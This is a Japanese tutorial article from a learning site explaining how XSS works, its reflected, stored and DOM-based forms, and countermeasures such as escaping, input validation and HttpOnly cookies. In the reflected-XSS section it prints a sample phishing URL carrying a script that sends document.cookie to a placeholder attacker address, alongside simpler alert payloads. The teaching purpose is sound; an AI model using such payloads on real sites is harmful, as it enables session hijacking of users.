1. ホーム
  2. 記事一覧
  3. XSSの仕組みと対策について

2022.10.30

XSSの仕組みと対策について

こちらの記事では、「XSS(クロスサイトスクリプティング)」について解説します。

XSSとは、セキュリティ的欠陥のあるWebサイトが攻撃者によって狙われ、ユーザが被害に遭うサイバー攻撃の1種です。

XSSの正式名称は「Cross Site Scripting」ですが、初期に発見されたXSSが「複数サイトをまたがって攻撃すること」や、カスケーディングスタイルシートの「CSS」と混同しないようにXSSという略称で呼ばれています。

こちらの記事を通して、XSSの正しい知識と対策を学習しましょう。

なぜXSSの対策を行わなければならないのか

対策を行う主な理由は2つあり、現在のWeb開発の需要XSSにおける被害状況にあります。

現在のWeb開発の需要

Webサイトには静的Webサイトと動的Webサイトの2種類があり、需要が拡大しているのが動的Webサイトです。現在のECサイトやSNSは、個々のユーザの趣味や嗜好に合わせたWebサイトを提供しています。

動的Webサイトはユーザ1人1人に合わせて動的にHTMLなどを生成するので、悪意を持ったユーザが使用した場合に攻撃されてしまう可能性があります。

XSSにおける被害状況

XSSによる被害は、年々減少している、というわけではありません。IPA: 情報処理推進機構は、ソフトウェア等の脆弱性関連情報に関する届出状況という情報を公開しています。

Webサイトの脆弱性の種類別の届出状況において、XSSは常に一定以上の割合(2022年は58%)の届出が出されている状況です。このため、Web開発においてXSSは必ず意識して対策を行わなければなりません。

参照: ソフトウェア等の脆弱性関連情報に関する届出状況 2022年第2四半期(4月~6月)

スクリプトの動作を理解する

XSSはスクリプトを悪用して行われる攻撃です。本記事で言うスクリプトとは、JavaScriptのことを指します。つまり、XSSを理解するにはJavaScriptがどのように動作するかを理解する必要があります。そのために、2つのWebページを用意します。

  • normal_script.html
    • 通常のスクリプトの動作を行うページ
  • wrong_script.html
    • 悪意のあるスクリプトが動作するページ

スクリプトが正常に動作した場合

まず、JavaScriptが正常に動作した場合を解説します。

<! DOCTYPE html>
<html>
  <body>

    <script>
      document.write("Hello world!!");

      var today = new Date();
      alert(today);
    </script>

  </body>
</html>

上記のコードでJavaScriptが行う動作は以下の2つです。

  • 現在時刻をポップアップで表示する。
  • ブラウザに「Hello World!!」と表示する。

このように、JavaScriptはアクセスした時の現在時刻を表示させることや、ポップアップでWebサイトのUI(見た目)に動きを付ける事が出来ます。前述した、動的なWebサイトを作成することが出来るということです。

不正なスクリプトが動作した場合

次に、JavaScriptを悪意を持って動作させた場合の例について解説します。

<! DOCTYPE html>
<html>
  <body>

    <script>
      alert(document.cookie);
      window.location.href = "<https://envader.plus>";
    </script>

  </body>
</html>

上記のコードでJavaScriptが行う動作は以下の2つです。

  • リダイレクト処理(ページ遷移)を行う。
  • Cookieの値を表示する。

リダイレクトはWebページが開かれた際に強制的にページ遷移を行うというものです。今回は、Envaderにリダイレクトが行われているため問題ありません。

しかし、攻撃者によってリダイレクト処理が用意された場合、ページ遷移した先のWebサイトにアクセスした利用者に、マルウェアなどを強制的にダウンロードさせるような罠が仕掛けられている可能性もあります。

また、Cookieには、セッションIDという、ユーザがログインした際に発行され、そのユーザを識別する番号が含まれています。今回は自分のブラウザで表示されているだけなので問題ありませんが、「Cookieを攻撃者に送信する」といったスクリプトを実行することも可能です。

Cookieが攻撃者の手に渡れば「Cookieの本来の持ち主」になりすまされてしまい、個人情報を盗まれるなどの被害に遭う可能性もあります。

このような、Webサイト上のCookieなどの個人情報を不正に入手するサイバー攻撃のことをセッションハイジャックと呼びます。

XSSの3種類の攻撃手法

XSSには以下の3種類の攻撃が存在します。

  1. 反射型XSS(非持続的)
  2. 格納型XSS(持続的)
  3. DOM Based XSS

XSSには3種類の攻撃が存在しますが、いずれも「攻撃者がスクリプトを悪用して攻撃を行う」という点は共通していますが、攻撃者の攻撃手法が異なっています。

これから、3種類のXSSそれぞれの特徴や攻撃手法について解説します。

参考: XSS Wikipedia 攻撃手法の分類

反射型XSS(非持続的)

反射型XSSによって被害に遭う、主なケースが以下です。

  1. 攻撃者がユーザ宛に不正なスクリプトを含んだリンクを送信し、ユーザがそのリンクをクリックしたことで被害に遭うケース
  2. 攻撃者が脆弱性のあるサイトに不正なスクリプトを含んだリンクを投稿し、ユーザがその投稿を閲覧、クリックした事で被害に遭うケース

今回は、1つ目のケースを当インフラ学習サイトの「Envader」を例に挙げて分かりやすく解説します。

前提

内容URL
Envaderhttps://envader.plus
チュートリアルサイトhttps://envader.plus/course/1/scenario/1000

攻撃方法

例えば、攻撃者がEnvaderの運営者を装って次のようなメールを送ってきたとします。

「新しいコースができました!URLは https://anvader.prus/course/1/scenario/1000<script>location.href="<http://攻撃者の用意したサイトのアドレス>?"+document.cookie</script> です。新しいコースに挑戦してみましょう!」

このURLをクリックすると、<script></script> の中身が実行されます。つまり、 location.href="<http://攻撃者の用意したサイトのアドレス>?"+document.cookie です。「Cookieの値を攻撃者の用意したアドレスに送信しなさいという内容」が実行されるのです。

そのため、リンクをクリックすると利用者のCookieの値を攻撃者の用意したアドレスに送信されてしまいます

通常、リンクをクリックするという事は、サーバに対して「このURLのWebサイトを下さい」というリクエストを送り、Webサーバが「指定のURLのWebサイトです」というレスポンスが返ってきてブラウザが表示します。

不正なスクリプトを含んだリンクをクリックした場合、ブラウザが対象Webサイトを表示される所までは同じですが、リンクに含まれていた不正なスクリプトを実行するというもう1つの動作を行います。

このように、不正なスクリプトが送信者に返ってきて、ユーザのブラウザで実行されてしまうことから反射型XSSと呼ばれています 。

今回の一例で挙げた攻撃を回避するには、「攻撃者の用意した不正なスクリプトを含んだリンクをクリックしない」ということです。メールに記載されたURLを良く見れば、「envader.plus」のスペルが違ったりURLの末尾にスクリプトが含まれていることに不審を頂くかもしれません。しかし、XSSに詳しくないユーザであれば、油断してリンクをクリックしてしまうかもしれません。ですので、誘導されるような形でURLにアクセスするような場合には十分な注意が必要です。

格納型XSS(持続的)

格納型XSSは、まず攻撃者が不正なスクリプトを対象Webサイトに埋め込みます。不正なスクリプトはWebアプリケーション内部で永続的に保存(格納)され、該当ページをユーザが閲覧するたび(=持続的)に保存された不正なスクリプトが実行されることから、「格納型XSS(持続的)」と呼ばれています。

格納型XSSを説明する上で「掲示板サイト」を例に挙げて解説します。(ここではphpを用いてXSSが可能なWebサイトを作成し、使用します。) 試しに「ユーザ1」と、「初めての掲示板を使用しました。」と入力して投稿してみます。結果は以下です。

問題なく反映されています。とある「User2」は、投稿する内容に <s>test</s> と入力して投稿しました。結果が以下です。

<s></s> がhtmlのタグとして認識され、 test という文字列に打ち消し線が引かれて表示されました。これが簡単なスクリプト(html)の実行例です。

今度はHackerというユーザが、 悪意を持って<script>alert(document.cookie)</script> というスクリプトを投稿しました。結果は以下のようになっています。

投稿者のHacker(名前)が表示されていて、内容は空になっています。これは、「Hacker」が「 <script>alert(document.cookie)</script> 」というスクリプトを投稿できた事を意味します。投稿内容は空で目には見えませんが、この時点でWebページにこのスクリプトが保存されました。「Hacker」が投稿した <script>alert(document.cookie)</script> (以降、不正なスクリプトと表現します)がどういった動作を行うのかを解説します。

そもそも、掲示板に投稿した内容は、データとしてWebサーバに保存されます。そして投稿した内容が表示されるページが生成される際に、そのページの一部として埋め込まれます。そのため、投稿した後の内容はページを更新したり、投稿後にアクセスした人にも表示されます。

不正なスクリプトを投稿した場合も、この不正なスクリプトは通常の投稿内容と同じように掲示板の投稿としてWebサーバに保存され、該当ページ(HTMLページ)が生成される際にそのページの一部として埋め込まれます。そのため、投稿された不正なスクリプトは、新しくWebページにアクセスしたり、新しく掲示板に投稿したりする度に実行されます。これがWebサーバに格納された不正なスクリプトが持続的に実行されるということです。

DOM Based XSS

DOMは「Document Object Model」のことで、簡単に説明するとプログラムからHTMLなどを自由に操作するための仕組みのことです。DOMの仕組みを悪用することからDOM Based XSSと呼ばれます。DOMのイメージが中々付かなくて難しく感じると思いますが、Web開発者にとって必ず知っておくべき攻撃ですので、まずDOMから理解していきましょう。

ブラウザは、Webページが読み込まれた際に、そのページのDOMを生成します。DOMとはどういったものか、実際に見てみましょう。

<! DOCTYPE html>
<html>
<head>
  <meta charset="utf-8" lang="ja">
  <title>DOMツリー</title>
</head>
<body>
  <h1>DOMツリー</h1>
  <!-- コメント -->
  <p id="tree">木構造です!</p>
</body>
</html>

上記のHTMLファイルから要素を抽出すると、以下の図のようになります。

DOMとは、抽出した要素1つ1つのことを指しています。htmlをrootとして下位要素に枝分かれして要素が連なっています。この状態が逆さまにした木(Tree)のように見える事からDOMツリーと呼ばれています。そして、HTMLファイルをブラウザで表示させると以下のように表示されます。

DOMのイメージが付いた所で、DOMの操作をして、p タグで指定した文字列の色を赤色に変更します。body内に下記のスクリプトを記入します。

<script>
  document.getElementById("tree").style.color = "red";
</script>

document.getElementById は引数に指定されたid属性を持つ要素ノードをDOMツリーから検索します。取得した要素ノードに style.color = "red" でフォントカラーを赤に変更します。

ブラウザ上で「木構造です!」が赤に変わっていることが確認できました。本来htmlの文字色を変更する場合は <font color=”色”> ~ </font> のようにして変更します。今回の方法はHTMLファイルを書き換える事なく、DOM( p タグの id=tree )にアクセスして、JavaScriptを使用して文字の色を変更しています。つまり、DOMを使用するとサーバを介さずにHTMLファイルを操作できるということです。

DOM Based XSSは、DOMを操作し、意図しないスクリプトを出力させるXSSです。反射型XSS、格納型XSSはサーバからレスポンスされる際にスクリプトが出力されますが、DOM Based XSSは攻撃を受けたユーザのブラウザで不正なスクリプトが実行された場合に必ずしもサーバに通信が飛ばない点と、ユーザのブラウザ上でJavaScriptが実行されたタイミングで初めて不正なスクリプトが実行されます

サーバを介さず、ユーザのブラウザでJavaScriptが動作する例を分かりやすく説明します。例えば、押したらJavaScriptが動作するボタンがあるとします。ボタンを押した場合の動作は次のようになります。

このポップアップを表示したスクリプトは、Webサーバを介する必要がありません。クリックした際にユーザのブラウザ上でJavaScriptが動作し、初めてポップアップが表示されています。

このような方法で、攻撃者はWebサイトのDOMを操作して不正なスクリプトを埋め込みます。もしユーザが誤って不正なスクリプトを含んだボタンやリンクなどを押してしまった場合、埋め込まれた不正なスクリプトがユーザのブラウザで実行され、DOM Based XSSによる被害に遭ってしまいます。

Web開発者が行う対策

ここまで説明してきたXSSはそれぞれに特徴があり、攻撃手法が違います。そのため、どれか一つだけ対策すれば良いというわけではありません。また、全てのXSSに対する対策はWebサイトを作成する開発者側、Webサイトを利用するユーザ側のそれぞれで対策をする必要があります。

ここではWebサイトを作成する側が行うべき対策について解説します。

1. エスケープ処理・サニタイズ

XSSのようなサイバー攻撃につながるような文字を無効化することをサニタイズと言い、上記のように対象の文字を無害な文字に置き換えることをエスケープ処理を行うと言います。(サニタイジングするとも言います。)

  • エスケープ処理の一例
変換前の記号変換後の記号
<&lt;
>&gt;
&quot;

エスケープ処理を行うと、入力フォームに「 <script> 」と打ち込まれても、「 &lt;script&gt; 」という無害な文字列に置き換えることができます。

2. バリデーション処理(入力値の制限)

例えば、電話番号だったら「数字」だけの入力を許可し、名前のふりがなであれば、「ひらがな・カタカナ」だけを許可します。

このように、意図しない値を入力されるように防ぐことをバリデーション処理と呼びます。意図しない入力値が入力されたら再度入力を促すなど、適切なバリデーション処理を行いましょう。

3. Cookieへのアクセス制限

Cookieが安全に送信され、意図しない第三者やスクリプトからアクセスされないようにする為に、Cookieへのアクセス制限を行いましょう。

Cookieへのアクセス制限には、Secure属性と、HttpOnly属性の2つの方法があります。

Secure属性は、Cookieの送信をHTTPSのみに許可するもので、HttpOnly属性は、XSSで例に挙げた、「 <script>alert(document.cookie)</script> 」のようなJavascriptによる操作を無効化できます。

Secure属性を付ける事で通信自体にセキュリティ対策をすることに繋がり、HttpOnly属性を付ける方法は特にXSS攻撃の対策に有効です。

ユーザが行う対策

次に、Webサイトを利用するユーザが行うべき対策について解説します。

1. 安全なブラウザを使用する

XSSは、ブラウザ自体のセキュリティ的欠陥を付くケースもあります。また、最新かつ推奨されるブラウザには「XSSフィルター」というXSS攻撃を検知してブロックする機能が備わっています。セキュリティ的に推奨されるブラウザの使用や、常に最新のバージョンにアップデートすることでXSS対策になります

2. セキュリティソフトを導入する

セキュリティソフトには危険な通信を検知して自動でシャットアウトしてくれたり、アクセスしようとするサイトが危険であることを知らせてくれる機能があります。自身の必要性に応じて導入を検討しましょう。

3. 不審なURLに安易にアクセスしない

反射型XSSで紹介したフィッシング詐欺のようなURLにアクセスさせることで個人情報などを盗もうとするケースが多々あります。見に覚えのないメールや不審なWebサイトは、本当に問題ないのか十分に確認する必要があります。

まとめ

XSSには3種類ありますが、どれか1つだけにだけ対策するのではなく、全ての攻撃に対して対策しなければなりません。また、XSSはセキュリティ的欠陥のあるWebサイトが標的になります。

Webサイトを作成する側がXSSに対して対策するのは勿論ですが、利用する側もXSSに対して対策を行うことが求められます。

XSSに対する正しい知識を身に付け、Webサイトの開発・利用を行っていきましょう。

【番外編】USBも知らなかった私が独学でプログラミングを勉強してGAFAに入社するまでの話

IT未経験者必見 USBも知らなかった私が独学でプログラミングを勉強してGAFAに入社するまでの話

プログラミング塾に半年通えば、一人前になれると思っているあなた。それ、勘違いですよ。「なぜ間違いなの?」「正しい勉強法とは何なの?」ITを学び始める全ての人に知って欲しい。そう思って書きました。是非読んでみてください。

「フリーランスエンジニア」

近年やっと世間に浸透した言葉だ。ひと昔まえ、終身雇用は当たり前で、大企業に就職することは一種のステータスだった。しかし、そんな時代も終わり「優秀な人材は転職する」ことが当たり前の時代となる。フリーランスエンジニアに高価値が付く現在、ネットを見ると「未経験でも年収400万以上」などと書いてある。これに釣られて、多くの人がフリーランスになろうとITの世界に入ってきている。私もその中の1人だ。数年前、USBも知らない状態からITの世界に没入し、そこから約2年間、毎日勉学を行なった。他人の何十倍も努力した。そして、企業研修やIT塾で数多くの受講生の指導経験も得た。そこで私は、伸びるエンジニアとそうでないエンジニアをたくさん見てきた。そして、稼げるエンジニア、稼げないエンジニアを見てきた。

「成功する人とそうでない人の違いは何か?」

私が出した答えは、「量産型エンジニアか否か」である。今のエンジニア市場には、量産型エンジニアが溢れている!!ここでの量産型エンジニアの定義は以下の通りである。

比較的簡単に学習可能なWebフレームワーク(WordPress, Rails)やPython等の知識はあるが、ITの基本概念を理解していないため、単調な作業しかこなすことができないエンジニアのこと。

多くの人がフリーランスエンジニアを目指す時代に中途半端な知識や技術力でこの世界に飛び込むと返って過酷な労働条件で働くことになる。そこで、エンジニアを目指すあなたがどう学習していくべきかを私の経験を交えて書こうと思った。続きはこちらから、、、、

note記事3000いいね超えの殿堂記事 今すぐ読む

エンベーダー編集部

エンベーダーは、ITスクールRareTECHのインフラ学習教材として誕生しました。 「遊びながらインフラエンジニアへ」をコンセプトに、インフラへの学習ハードルを下げるツールとして運営されています。

RareTECH 無料体験授業開催中! オンラインにて実施中! Top10%のエンジニアになる秘訣を伝授します! RareTECH講師への質疑応答可

関連記事